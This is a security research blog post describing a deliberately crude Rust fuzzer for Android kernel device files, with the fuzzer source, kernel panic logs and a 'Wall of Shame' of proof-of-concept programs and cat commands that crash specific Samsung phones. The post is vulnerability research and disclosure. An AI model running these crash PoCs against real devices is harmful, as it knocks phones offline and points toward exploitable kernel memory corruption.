Writing the worlds worst Android fuzzer, and then improving it

gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html

Gamozo Labs Blog October 18, 2018

So slimy it belongs in the slime tree

Changelog

Date	Info
2018-10-18	Initial

Tweeter

Follow me at @gamozolabs on Twitter if you want notifications when new blogs come up, or I think you can use RSS or something if you're still one of those people.

Disclaimer

I recognize the bugs discussed here are not widespread Android bugs individually. None of these are terribly critical and typically only affect one specific device. This blog is meant to be fun and silly and not meant to be a serious review of Android's security.

Give me the code

Slime Tree Repo

Intro

Today we're going to write arguably one of the worst Android fuzzers possible. Experience unexpected success, and then make improvements to make it probably the second worst Android fuzzer.

When doing Android device fuzzing the first thing we need to do is get a list of devices on the phone and figure out which ones we can access. This is simple right? All we have to do is go into `/dev` and run `ls -l`, and anything with read or write permissions for all users we might have a whack at. Well… with selinux this is just not the case. There might be one person in the world who understands selinux but I'm pretty sure you need a Bombe to decode the selinux policies.

To solve this problem let's do it the easy way and write a program that just runs in the context we want bugs from. This program will simply recursively list all files on the phone and actually attempt to open them for reading and writing. This will give us the true list of files/devices on the

phone we are able to open. In this blog's case we're just going to use `adb shell` and thus we're running as `u:r:shell:s0`.

Recursive listdiring

Alright so I want a quick list of all files on the phone and whether I can read or write to them. This is pretty easy, let's do it in Rust.

```
/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}
```

Woo, that was pretty simple, to get a full directory listing of the whole phone we can just:

```
// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);
```

Fuzzing

So now we have a list of all files. We now can use this for manual analysis and look through the listing and start doing source auditing of the phone. This is pretty much the correct way to find any good bugs, but maybe we can automate this process?

What if we just randomly try to read and write to the files. We don't really have any idea what they expect, so let's just write random garbage to them of reasonable sizes.

```
// List all files on the system
let mut listing = Vec::new();
listdirs(Path::new("/"), &mut listing);

// Fuzz buffer
let mut buf = [0x41u8; 8192];

// Fuzz forever
loop {
    // Pick a random file
    let rand_file = rand::random::<usize>() % listing.len();
    let (path, can_read, can_write) = &listing[rand_file];

    print!("{:?}\n", path);

    if *can_read {
        // Fuzz by reading
        let fd = OpenOptions::new().read(true).open(path);

        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.read(&mut buf[..fuzz_size]);
        }
    }

    if *can_write {
        // Fuzz by writing
        let fd = OpenOptions::new().write(true).open(path);
        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.write(&buf[..fuzz_size]);
        }
    }
}
```

When running this it pretty much stops right away, getting hung on things like `/sys/kernel/debug/tracing/per_cpu/cpu1/trace_pipe`. There are typically many `sysfs` and `procfs` files on the phone that will hang forever when trying to read from them. Since this

prevents our “fuzzer” from running any longer we need to somehow get around blocking reads.

How about we just make lets say… 128 threads and just be okay with threads hanging? At least some of the others will keep going for at least a while? Here’s the complete program:

```
extern crate rand;

use std::sync::Arc;
use std::fs::OpenOptions;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};

/// Maximum number of threads to fuzz with
const MAX_THREADS: u32 = 128;

/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}

/// Fuzz thread worker
```

```
fn worker(listing: Arc<Vec<(PathBuf, bool, bool)>>) {
    // Fuzz buffer
    let mut buf = [0x41u8; 8192];

    // Fuzz forever
    loop {
        let rand_file = rand::random::<usize>() % listing.len();
        let (path, can_read, can_write) = &listing[rand_file];

        //print!("{:?}\n", path);

        if *can_read {
            // Fuzz by reading
            let fd = OpenOptions::new().read(true).open(path);

            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.read(&mut buf[..fuzz_size]);
            }
        }

        if *can_write {
            // Fuzz by writing
            let fd = OpenOptions::new().write(true).open(path);
            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.write(&buf[..fuzz_size]);
            }
        }
    }
}

fn main() {
    // Optionally daemonize so we can swap from an ADB USB cable to a UART
    // cable and let this continue to run
    //daemonize();

    // List all files on the system
    let mut dirlisting = Vec::new();
    listdirs(Path::new("/"), &mut dirlisting);

    print!("Created listing of {} files\n", dirlisting.len());

    // We wouldn't do anything without any files
    assert!(dirlisting.len() > 0, "Directory listing was empty");

    // Wrap it in an `Arc`
    let dirlisting = Arc::new(dirlisting);

    // Spawn fuzz threads
    let mut threads = Vec::new();
    for _ in 0..MAX_THREADS {
        // Create a unique arc reference for this thread and spawn the thread
```

```
        let dirlisting = dirlisting.clone();
        threads.push(std::thread::spawn(move || worker(dirlisting)));
    }

    // Wait for all threads to complete
    for thread in threads {
        let _ = thread.join();
    }
}

extern {
    fn daemon(nochdir: i32, noclose: i32) -> i32;
}

pub fn daemonize() {
    print!("Daemonizing\n");

    unsafe {
        daemon(0, 0);
    }

    // Sleep to allow a physical cable swap
    std::thread::sleep(std::time::Duration::from_secs(10));
}
```

Pretty simple, nothing crazy here. We get a full phone directory listing, spin up `MAX_THREADS` threads, and those threads loop forever picking random files to read and write to.

Let me just give this a little push to the phone annnnnnnnnnnnnd… **and the phone panicked**. In fact almost all the phones I have at my desk panicked!

There we go. We have created a world class Android kernel fuzzer, printing out new 0-day!

In this case we ran this on a Samsung Galaxy S8 (G950FXXU4CRI5), let's check out how we crashed by reading `/proc/last_kmsg` from the phone:

```
Unable to handle kernel paging request at virtual address 00662625
sec_debug_set_extra_info_fault = KERN / 0x662625
pgd = ffffffc0305b1000
[00662625] *pgd=00000000b05b7003, *pud=00000000b05b7003, *pmd=0000000000000000
Internal error: Oops: 96000006 [#1] PREEMPT SMP
exynos-snapshot: exynos_ss_get_reason 0x0 (CPU:1)
exynos-snapshot: core register saved(CPU:1)
CPUMERRSR: 0000000002180488, L2MERRSR: 0000000012240160
exynos-snapshot: context saved(CPU:1)
exynos-snapshot: item - log_kevents is disabled
TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 0
CPU: 1 MPIDR: 80000101 PID: 3944 Comm: Binder:3781_3 Tainted: G        W       4.4.111-
14315050-QB19732135 #1
Hardware name: Samsung DREAMLTE EUR rev06 board based on EXYNOS8895 (DT)
task: ffffffc863c00000 task.stack: ffffffc863938000
PC is at kmem_cache_alloc_trace+0xac/0x210
LR is at binder_alloc_new_buf_locked+0x30c/0x4a0
pc : [<ffffff800826f254>] lr : [<ffffff80089e2e50>] pstate: 60000145
sp : ffffffc86393b960
[<ffffff800826f254>] kmem_cache_alloc_trace+0xac/0x210
[<ffffff80089e2e50>] binder_alloc_new_buf_locked+0x30c/0x4a0
[<ffffff80089e3020>] binder_alloc_new_buf+0x3c/0x5c
[<ffffff80089deb18>] binder_transaction+0x7f8/0x1d30
[<ffffff80089e0938>] binder_thread_write+0x8e8/0x10d4
[<ffffff80089e11e0>] binder_ioctl_write_read+0xbc/0x2ec
[<ffffff80089e15dc>] binder_ioctl+0x1cc/0x618
[<ffffff800828b844>] do_vfs_ioctl+0x58c/0x668
[<ffffff800828b980>] SyS_ioctl+0x60/0x8c
[<ffffff800815108c>] __sys_trace_return+0x0/0x4
```

Ah cool, derefing `00662625`, my favorite kernel address! Looks like it's some form of heap corruption. We probably could exploit this especially as if we mapped in `0x00662625` we would get to control a kernel land object from userland. It would require the right groom. This specific bug has been minimized and you can find a targeted PoC in the `Wall of Shame` section

Using the "fuzzer"

You'd think this fuzzer is pretty trivial to run, but there are some things that can really help it along. Especially on phones which seem to fight back a bit.

Protips:

- Restart fuzzer regularly, it gets stuck a lot
- Do random things on the phone like browsing or using the camera to generate kernel activity
- Kill the app and unplug the ADB USB cable frequently, this can cause some of the bugs to trigger when the application suddenly dies
- Tweak the `MAX_THREADS` value from low values to high values
- Create blacklists for files which are known to block forever on reads

Using the above protips I've been able to get this fuzzer to work on almost every phone I have encountered in the past 4 years, with dwindling success as selinux policies get stricter.

Next device

Okay so we've looked at the latest Galaxy S8, let's try to look at an older Galaxy S5 (G900FXXU1CRH1). *Whelp, that one crashed even faster.* However if we try to get `/proc/last_kmsg` we will discover that this file does not exist. We can also try using a fancy UART cable over USB with the magic 619k resistor and `daemonize()` the application so we can observe the crash over that. However that didn't work in this case either (honestly not sure why, I get dmesg output but no panic log).

So now we have this problem. How do we root cause this bug? Well, we can do a binary search of the filesystem and blacklist files in certain folders and try to whittle it down. Lets give that a shot!

First let's only allow use of `/sys/*` and beyond, all other files will be disallowed, typically these bugs from the fuzzer come from `sysfs` and `procfs`. We'll do this by changing the directory listing call to `listdirs(Path::new("/sys"), &mut dirlisting);`

Woo, it worked! Crashed faster, and this time we limited to `/sys`. So we know the bug exists somewhere in `/sys`.

Now we'll go deeper in `/sys`, maybe we try `/sys/devices` … oops, no luck. We'll have to try another. Maybe `/sys/kernel` ?… *WINNER WINNER!*

So we've whittled it down further to `/sys/kernel/debug` but now there are 85 folders in this directory. I really don't want to manually try all of them. Maybe we can improve our fuzzer?

Improving the fuzzer

So currently we have no idea which files were touched to cause the crash. We can print them and then view them over ADB, however this doesn't sync when the phone panics… we need even better.

Perhaps we should just send the filenames we're fuzzing over the network and then have a service that acks the filenames, such that the files are not touched unless they have been confirmed to be reported over the wire. Maybe this would be too slow? Hard to say. Let's give it a go!

We'll make a quick server in Rust to run on our host, and then let the phone connect to this server over ADB USB via `adb reverse tcp:13370 tcp:13370`, which will forward connections to `127.0.0.1:13370` on the phone to our host where our program is running and will log filenames.

Designing a terrible protocol

We need a quick protocol that works over TCP to send filenames. I'm thinking something super easy. Send the filename, and then the server responds with "ACK". We'll just ignore threading issues and the fact that heap corruption bugs will usually show up after the file was accessed. We don't want to get too carried away and make a reasonable fuzzer, eh?

```
use std::net::TcpListener;
use std::io::{Read, Write};

fn main() -> std::io::Result<()> {
    let listener = TcpListener::bind("0.0.0.0:13370")?;

    let mut buffer = vec![0u8; 64 * 1024];

    for stream in listener.incoming() {
        print!("Got new connection\n");

        let mut stream = stream?;

        loop {
            if let Ok(bread) = stream.read(&mut buffer) {
                // Connection closed, break out
                if bread == 0 {
                    break;
                }

                // Send acknowledge
                stream.write(b"ACK").expect("Failed to send ack");
                stream.flush().expect("Failed to flush");

                let string = std::str::from_utf8(&buffer[..bread])
                    .expect("Invalid UTF-8 character in string");
                print!("Fuzzing: {}\n", string);
            } else {
                // Failed to read, break out
                break;
            }
        }
    }

    Ok(())
}
```

This server is pretty trash, but it'll do. It's a fuzzer anyways, can't find bugs without buggy code.

Client side

From the phone we just implement a simple function:

```
// Connect to the server we report to and pass this along to functions
// threads that need socket access
let stream = Arc::new(Mutex::new(TcpStream::connect("127.0.0.1:13370")
    .expect("Failed to open TCP connection")));

fn inform_filename(handle: &Mutex<TcpStream>, filename: &str) {
    // Report the filename
    let mut socket = handle.lock().expect("Failed to lock mutex");
    socket.write_all(filename.as_bytes()).expect("Failed to write");
    socket.flush().expect("Failed to flush");

    // Wait for an ACK
    let mut ack = [0u8; 3];
    socket.read_exact(&mut ack).expect("Failed to read ack");
    assert!(&ack == b"ACK", "Did not get ACK as expected");
}
```

Developing blacklist

Okay so now we have a log of all files we're fuzzing, and they're confirmed by the server so we don't lose anything. Lets set it into single threaded mode so we don't have to worry about race conditions for now.

We'll see it frequently gets hung up on files. We'll make note of the files it gets hung up on and start developing a blacklist. This takes some manual labor, and usually there are a handful (5-10) files we need to put in this list. I typically make my blacklist based on the start of a filename, thus I can blacklist entire directories based on `starts_with` matching.

Back to fuzzing

So when fuzzing the last file we saw touched was `/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout` before a crash.

Let's hammer this in a loop… and it worked! So now we can develop a fully self contained PoC:

```
use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}
```

What a top tier PoC!

Next bug?

So now that we have root caused the bug, we should blacklist the specific file we know caused the bug and try again. Potentially this bug was hiding another.

Nope, nothing else, the S5 is officially secure and fixed of all bugs.

The end of an era

Sadly this fuzzer is on the way out. It used to work almost universally on every phone, and still does if selinux is set to permissive. But sadly as time has gone on these bugs have become hidden behind selinux policies that prevent them from being reached. It now only works on a few phones that I have rather than all of them, but the fact that it ever worked is probably the best part of it all.

There is a lot to improve this fuzzer, but the goal of this article was to make a terrible fuzzer, not a reasonable one. The big things to add to make this better

- Make it perform random `ioctl()` calls

- Make it attempt to `mmap()` and use the mappings for these devices
- Actually understand what the file expects
- Use multiple processes or something to let the fuzzer continue to run when it gets stuck
- Run it for more than 1 minute before giving up on a phone
- Make better blacklists/whitelists

In the future maybe I'll exploit one of these bugs in another blog, or root cause them in source.

Wall of Shame

Try it out on your own test phones (not on your actual phone, that'd probably be a bad idea). Let me know if you have any silly bugs found by this to add to the wall of shame.

G900F (Exynos Galaxy S5) [G900FXXU1CRH1] (August 1, 2017)

PoC

```
use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}
```

J200H (Galaxy J2) [J200HXXU0AQK2] (August 1, 2017)

not root caused, just run the fuzzer

```
[c0] Unable to handle kernel paging request at virtual address 62655726
[c0] pgd = c0004000
[c0] [62: ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>]    lr : [<62655722>]    psr: 000d0093
sp : ee457d20  ip : 00000000  fp : ee457d54
[c0] r10: ed859210  r9 : c0c833e4  r8 : ed859338
[c0] r7 : ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>]    lr : [<62655722>]    psr: 000d0093
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>]
(dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>]
(dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>]
(fw_pm_notify+0xe4/0x100)
[c0] [<c030d0013 00000000 ffffffff ffffffff
[c0] [<c0302848>] (devres_for_each_res+0x68/0xdc) from [<c030d5f0>]
(dev_cache_fw_image+0x4c/0x118)
[c0] [<c030d5f0>] (dev_cache_fw_image+0x4c/0x118) from [<c0306050>]
(dpm_for_each_dev+0x4c/0x6c)
[c0] [<c0306050>] (dpm_for_each_dev+0x4c/0x6c) from [<c030d824>]
(fw_pm_notify+0xe4/0x100)
[c0] [<c030d[<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>]
(pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)
[c0] [<c003d6bc>] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c)
[c0] [<c0063824>] (pm_notifier_call_chain+0x28/0x3c) from [<c00644a0>]
(pm_suspend+0x154/0x238)
[c0] [<c00644a0>] (pm_suspend+0x154/0x238) from [<c00657bc>] (suspend+0x78/0x1b8)
[c0] [<c00657bc>] (suspend+0x78/0x1b8) from [<c003d6bc>] (process_one_work+0x160/0x4b8)
```

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)

```
cat /sys/kernel/debug/usb_serial0/readstatus
```

or

```
cat /sys/kernel/debug/usb_serial1/readstatus
```

or

```
cat /sys/kernel/debug/usb_serial2/readstatus
```

or

```
cat /sys/kernel/debug/usb_serial3/readstatus
```

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)

```
cat /sys/kernel/debug/mdp/xlog/dump
```

J500H (Galaxy J5) [J500HXXU2BQI1] (August 1, 2017)

```
cat /sys/kernel/debug/rpm_master_stats
```

J700H (Galaxy J7) [J700HXXU3BRC2] (August 1, 2017)

not root caused, just run the fuzzer

```
Unable to handle kernel paging request at virtual address ff00000107
pgd = ffffffc03409d000
[ff00000107] *pgd=0000000000000000
mms_ts 9-0048: mms_sys_fw_update [START]
mms_ts 9-0048: mms_fw_update_from_storage [START]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] file_open - path[/sdcard/melfas.mfsb]
mms_ts 9-0048: mms_fw_update_from_storage [ERROR] -3
mms_ts 9-0048: mms_sys_fw_update [DONE]
muic-universal:muic_show_uart_sel AP
usb: enable_show dev->enabled=1
sm5703-fuelga0000000000000000
Kernel BUG at ffffffc00034e124 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000004 [#1] PREEMPT SMP
exynos-snapshot: item - log_kevents is disabled
CPU: 4 PID: 9022 Comm: lulandroid Tainted: G        W    3.10.61-8299335 #1
task: ffffffc01049cc00 ti: ffffffc002824000 task.ti: ffffffc002824000
PC is at sysfs_open_file+0x4c/0x208
LR is at sysfs_open_file+0x40/0x208
pc : [<ffffffc00034e124>] lr : [<ffffffc00034e118>] pstate: 60000045
sp : ffffffc002827b70
```

G920F (Exynos Galaxy S6) [G920FXXU5DQBC] (Febuary 1, 2017) Now gated by selinux :(

```
sec_debug_store_fault_addr 0xffffff80000fe008
Unhandled fault: synchronous external abort (0x96000010) at 0xffffff80000fe008
------------[ cut here ]------------
Kernel BUG at ffffffc0003b6558 [verbose debug info unavailable]
Internal error: Oops - BUG: 96000010 [#1] PREEMPT SMP
exynos-snapshot: core register saved(CPU:0)
CPUMERRSR: 0000000012100088, L2MERRSR: 00000000111f41b8
exynos-snapshot: context saved(CPU:0)
exynos-snapshot: item - log_kevents is disabled
CPU: 0 PID: 5241 Comm: hookah Tainted: G        W      3.18.14-9519568 #1
Hardware name: Samsung UNIVERSAL8890 board based on EXYNOS8890 (DT)
task: ffffffc830513000 ti: ffffffc822378000 task.ti: ffffffc822378000
PC is at samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
LR is at samsung_pinconf_dbg_show+0x88/0xb0
Call trace:
[<ffffffc0003b6558>] samsung_pin_dbg_show_by_type.isra.8+0x28/0x68
[<ffffffc0003b661c>] samsung_pinconf_dbg_show+0x84/0xb0
[<ffffffc0003b66d8>] samsung_pinconf_group_dbg_show+0x90/0xb0
[<ffffffc0003b4c84>] pinconf_groups_show+0xb8/0xec
[<ffffffc0002118e8>] seq_read+0x180/0x3ac
[<ffffffc0001f29b8>] vfs_read+0x90/0x148
[<ffffffc0001f2e7c>] SyS_read+0x44/0x84
```

G950F (Exynos Galaxy S8) [G950FXXU4CRI5] (September 1, 2018)

Can crash by getting PC in the kernel. Probably a race condition heap corruption. Needs a groom.

(This PC crash is old, since it’s corruption this is some old repro from an unknown version, probably April 2018 or so)

```
task: ffffffc85f672880 ti: ffffffc8521e4000 task.ti: ffffffc8521e4000
PC is at jopp_springboard_blr_x2+0x14/0x20
LR is at seq_read+0x15c/0x3b0
pc : [<ffffffc000c202b0>] lr : [<ffffffc00024a074>] pstate: a0000145
sp : ffffffc8521e7d20
x29: ffffffc8521e7d30 x28: ffffffc8521e7d90
x27: ffffffc029a9e640 x26: ffffffc84f10a000
x25: ffffffc8521e7ec8 x24: 00000072755fa348
x23: 0000000080000000 x22: 0000007282b8c3bc
x21: 0000000000000e71 x20: 0000000000000000
x19: ffffffc029a9e600 x18: 00000000000000a0
x17: 0000007282b8c3b4 x16: 00000000ff419000
x15: 000000727dc01b50 x14: 0000000000000000
x13: 000000000000001f x12: 00000072755fa1a8
x11: 00000072755fa1fc x10: 0000000000000001
x9 : ffffffc858cc5364 x8 : 0000000000000000
x7 : 0000000000000001 x6 : 0000000000000001
x5 : ffffffc000249f18 x4 : ffffffc000fcace8
x3 : 0000000000000000 x2 : ffffffc84f10a000
x1 : ffffffc8521e7d90 x0 : ffffffc029a9e600

PC: 0xffffffc000c20230:
0230  128001a1 17fec15d 128001a0 d2800015 17fec46e 128001b4 17fec62b 00000000
0250  01bc8a68 ffffffc0 d503201f a9bf4bf0 b85fc010 716f9e10 712eb61f 54000040
0270  deadc0de a8c14bf0 d61f0000 a9bf4bf0 b85fc030 716f9e10 712eb61f 54000040
0290  deadc0de a8c14bf0 d61f0020 a9bf4bf0 b85fc050 716f9e10 712eb61f 54000040
02b0  deadc0de a8c14bf0 d61f0040 a9bf4bf0 b85fc070 716f9e10 712eb61f 54000040
02d0  deadc0de a8c14bf0 d61f0060 a9bf4bf0 b85fc090 716f9e10 712eb61f 54000040
02f0  deadc0de a8c14bf0 d61f0080 a9bf4bf0 b85fc0b0 716f9e10 712eb61f 54000040
0310  deadc0de a8c14bf0 d61f00a0 a9bf4bf0 b85fc0d0 716f9e10 712eb61f 54000040
```

PoC

```
extern crate rand;

use std::fs::File;
use std::io::Read;

fn thrasher() {
    // These are the 2 files we want to fuzz
    let random_paths = [
        "/sys/devices/platform/battery/power_supply/battery/mst_switch_test",

"/sys/devices/platform/battery/power_supply/battery/batt_wireless_firmware_update"
    ];

    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    loop {
        // Pick a random file
        let file = &random_paths[rand::random::<usize>() % random_paths.len()];

        // Read a random number of bytes from the file
        if let Ok(mut fd) = File::open(file) {
            let rsz = rand::random::<usize>() % (buf.len() + 1);
            let _ = fd.read(&mut buf[..rsz]);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}
```